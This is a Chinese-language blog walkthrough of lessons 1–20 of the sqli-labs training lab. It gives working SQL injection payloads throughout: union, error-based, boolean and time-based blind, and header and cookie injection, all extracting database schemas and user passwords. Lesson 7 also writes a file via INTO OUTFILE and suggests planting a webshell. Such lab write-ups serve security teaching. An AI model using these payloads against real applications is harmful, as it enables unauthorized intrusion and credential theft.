ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sqli-labs-master 1-20关解析

2021-11-08 23:02:48  阅读:185  来源: 互联网

标签:回显 labs sqli 报错 concat master 注入 select schema


目录

lesson 1  单引号,字符型注入

lesson2  单引号,数字型注入

lesson3  单引号、括号、字符型注入

lesson4  双引号,字符型注入

lesson5  单引号,group by报错注入

lesson6  双引号,group by报错注入

lesson7  读写文件

lesson8  布尔盲注

lesson9  单引号,延时注入

lesson10  双引号,延时注入

lesson11  单引号,联合查询注入

lesson 12  双引号,括号,联合查询注入

lesson 13  单引号,group by报错注入

lesson 14  双引号,group by报错注入

lesson 15  单引号,延时注入

lesson 16  双引号,括号,延时注入

lesson 17  xpath报错注入

lesson 18  user-agent注入

lesson 19  referer注入

lesson 20  cookie注入


废话少说,直接开始!!

lesson 1  单引号,字符型注入

判断是否存在sql注入漏洞

先在原url后加?id=1,发现页面有回显后,将id=1改为id=2发现同样有回显且回显页面不同

在?id=2后加一个单引号,页面报错,可初步推断有sql注入漏洞

报错内容分析

判断为字符型注入,并且给id值+1/-1页面有回显,先考虑使用联合查询方式进行注入

判断表的列数(使用联合查询时,两张表的列数必须相同)

order by,不断尝试得出正确的列数(错误值页面有下图所示报错,正确值页面回显正常)

原理分析

联合查询

将2改为-2,或在后添加and 1 = 2,目的是让之前的语句作废,只执行union slect语句

下图所示,2和3处有回显,然后更改2,3处的语句,让页面回显出我们想要的东西

更改2为user()让页面返回用户名,更改3为database()让页面返回当前数据库名,也可改为其他的

获取信息(利用元数据库)

查所有数据库

union select 1,2,group_concat(schema_name)  from information_schema.schemata --+

查看数据库中的所有表

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+

查看表中的字段

union select 1,2,group_concat(column_name) from information_schema.columns where table_name = xxx --+

查询users表中的字段

查值

union select 1,2,group_concat(concat_ws('-',username,password)) from security.users --+

用 - 将username和password分开,并分组查询

lesson2  单引号,数字型注入

这一关与上一关都需要使用联合查询方式进行注入

通过加单引号报错,得到如下结果

所使用语句与lesson 1一致,只是lesson2中无需添加单引号使其闭合

lesson3  单引号、括号、字符型注入

加单引号报错,得到如下结果

判断表的列数

原理分析

所使用的语句与前两关一致,都使用联合查询方式注入,需要注意要添加 ') 让语句闭合

lesson4  双引号,字符型注入

加双引号报错,得到如下结果

判断表的列数

原理分析

所使用的语句与前三关一致,都使用联合查询方式注入,需要注意要添加 ") 让语句闭合

lesson5  单引号,group by报错注入

输入?id=1时,页面回显如此(并未返回数据库信息,所以不能使用联合查询)

在?id=1后加一个单引号,发现页面有报错,尝试使用报错注入,如下图所示

获取数据库名

Union select 1,count(*),concat(database(),'/',floor(rand(0)*2))x from information_schema.columns group by x --+

获取表名

Union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),'/',floor(rand(0)*2))x from information_schema.columns group by x --+

获取表中的字段

Union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'/',floor(rand(0)*2))x from information_schema.columns group by x;--+

获取数据

Union select 1,count(*),concat((select password from users limit 0,1),'/',floor(rand(0)*2))x from information_schema.columns group by x;--+

lesson6  双引号,group by报错注入

第六关和第五关类似,页面无回显信息,输入双引号触发报错,考虑采用报错注入

所用语句与第五关相同,只不过要注意需要输入双引号才能触发报错

lesson7  读写文件

先输入?id=1,页面回显提示我们需要 use outfile

读写文件的前提条件

1、secure-file-priv,在MySQL-->myini中的mysqld下添加secure-file-priv=

secure-file-priv=                       //不对导入导出做限制

secure-file-priv='c:/123/'           //限制导入导出发生在'c:/123/'下

secure-file-priv=null                  //不允许导入导出操作

2、当前用户具有文件权限

3、知道写入文件的绝对路径

接下来,尝试写入文件 ?id=1')) union select 1,2,3 into outfile 'C:\\phpStudy\\PHPTutorial\\1.php' --+

执行后,页面仍有报错,但是该路径下已经生成了一个php文件

可以尝试写一个一句话木马,并用中国菜刀连接,好了,这一关就先说到这

lesson8  布尔盲注

输入id后页面没有回显数据库信息,加引号也没有报错

加上and 1 = 1页面回显正常,加上and 1 = 2页面回显错误,则可能存在布尔类型状态的注入漏洞,尝试采用布尔盲注

判断数据库长度

?id=1' and length(database())  < 5--+    //输入正确时页面有回显,错误时没有回显,以此判断数据库长度

判断数据库名称

?id=1' and substr(database(),1,1) = 's' --+        //表示将数据库名称转为字符串,从第一个字符开始取,取一个,是不是 s,若是,则回显正常,若不是,则没有回显,以此判断出数据库字符串名称,也可以将其转化成ascii码

?id=1' and ascii(substr(database(),1,1)) > 88 --+

判断表

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 1 --+

然后在接着操作······

lesson9  单引号,延时注入

输入id后页面没有回显数据库信息,加引号也没有报错,且and 1 = 1和and 1 = 2没有作用

在后面输入and sleep(5),发现页面延时五秒回显,则尝试采用延时注入

延时注入与布尔盲注payload相似

获取数据库长度

?id=1' and If(length(database()) > 5,sleep(5),1) --+         //若长度大于5,则页面延时五秒回显,若不大于5,直接回显

获取数据库名称

?id=1' and If(ascii(substr(database(),1,1)) > 90,sleep(5),1) --+   //若第一个字母的ascii值大于90,延时五秒回显,否则直接回显

获取表名、字段名、数据与之类似

lesson10  双引号,延时注入

与第九关相同,只是需要加 " 进行闭合,剩下的与第九关相同

lesson11  单引号,联合查询注入

这一关开始到本文结束都是post注入的手注方法,可以查看另一篇文章sqlmap之post注入

先查看一下源码

输入 username:admin password:admin

用order by得出列数,然后用联合查询,此处的uname=1即找一个不是用户名的值来触发报错,与前几关的id=-1意思相同

接下来就和第一关一样了,用hackbar的post data,# 就是注释,和之前的--+一样

查数据库

uname=1' union select 1,group_concat(schema_name)  from information_schema.schemata #&passwd=admin

查表

uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() #&passwd=admin

查字段

uname=1' union select 1,group_concat(column_name) from information_schema.columns where table_name = xxx #&passwd=admin

查值

uname=1' union select 1,group_concat(concat_ws('-',username,password)) from security.users #&passwd=admin

lesson 12  双引号,括号,联合查询注入

这一关我们不查看源码了,来看看不看源码应该怎么猜

输入 username:admin' password:admin 发现页面没有报错,猜测可能单引号不能触发报错,尝试一下双引号

发现触发了报错,查看报错信息得知需要用双引号+括号来闭合

那我们这一关也不使用hackbar了,直接在原输入框中输入构造的语句

发现同样是可以的,当然了哈哈哈,接下来的操作就和11关一样了

lesson 13  单引号,group by报错注入

这一关输入username:admin password:admin,页面是没有数据回显的,也就是说我们没法在使用联合查询了,接下来就看有没有报错,有报错的话首选报错注入,毕竟要按成本高低选择先后

闭合方式通过查看源码得知,然后可以使用第5关用过的语句,忘记的同学可以回看一下

查看数据库

uname=1') union select count(*),concat(database(),'/',floor(rand(0)*2))x from information_schema.columns group by x #&passwd=admin

查表

uname=1') union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),'/',floor(rand(0)*2))x from information_schema.columns group by x #&passwd=admin

查字段

uname=1') union select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),'/',floor(rand(0)*2))x from information_schema.columns group by x #&passwd=admin

查值

uname=1') union select count(*),concat((select password from users limit 0,1),'/',floor(rand(0)*2))x from information_schema.columns group by x #&passwd=admin

lesson 14  双引号,group by报错注入

这一关同样没有页面数据回显,但有报错

查看源码,得知需要用双引号闭合,payload与上一关相同

需要把闭合方式改为 " ,即 uname=1" ······

lesson 15  单引号,延时注入

这一关既没有了数据信息的回显,也没有了报错信息的回显,那么接下来考虑一下延时注入

没有问题,延时了5秒

判断数据库长度

admin' and If(length(database()) > 5,sleep(5),1) #   //若长度大于5,则页面延时五秒回显,若不大于5,直接回显

获取数据库名称

admin' and If(ascii(substr(database(),1,1)) > 90,sleep(5),1) # //若第一个字母的ascii值大于90,延时五秒回显,否则直接回显

获取表名、字段名、数据与之类似

lesson 16  双引号,括号,延时注入

延时注入

双引号+括号闭合,即 admin") and sleep(5) #,操作与上一关相同

lesson 17  xpath报错注入

重置密码

发现在 new password处添加引号时会报错

接下来尝试在此处使用报错注入,经过尝试发现xpath报错可以

uname=admin & passwd=admin' and extractvalue(1,concat(0x7e,(select version()),0x7e))#

查表

uname=admin & passwd=admin' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))#

查字段

uname=admin & passwd=admin' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e))#

其他类似

lesson 18  user-agent注入

这一关提示是user-agent报错,所以可以上BurpSuite了

点击submit时抓包查看,并将截取到的数据包发送至reapeater

添加单引号触发报错,在Response处单击Render可以看到页面效果

有报错信息,那么久一鼓作气使用语句搞完吧

先得到数据库

' ,1,or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

 得到数据库中的表

数据库中表超过1,要使用limit构造语句

',1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),0x7e),1))#

查字段

',1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 4,1),0x7e),1))#

 查数据

',1,updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1))#

ok,这样的话就结束了

lesson 19  referer注入

和刚才一样的操作,先用BurpSuite抓包,在referer处加单引号,触发报错

在上一关的基础上构造语句

 剩下的就是基本操作了,与上一关的语句大同小异

lesson 20  cookie注入

先看看20关吧,这一关提示是cookie注入

放过第一个包,将第二个包发送至reapeater 

在cookie后加上单引号,触发页面报错

并且页面又回显,或许可以使用联合查询来注入 

先判断有几列吧

 通过对比可以确定列数为3,接下来判断回显点

2和3貌似都是,验证一下

 所以,没问题了,可以使用联合查询的语句,好了剩下的不在演示,可以移步第一关复制语句 

over!!

标签:回显,labs,sqli,报错,concat,master,注入,select,schema
来源: https://blog.csdn.net/weixin_45557138/article/details/121218033

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有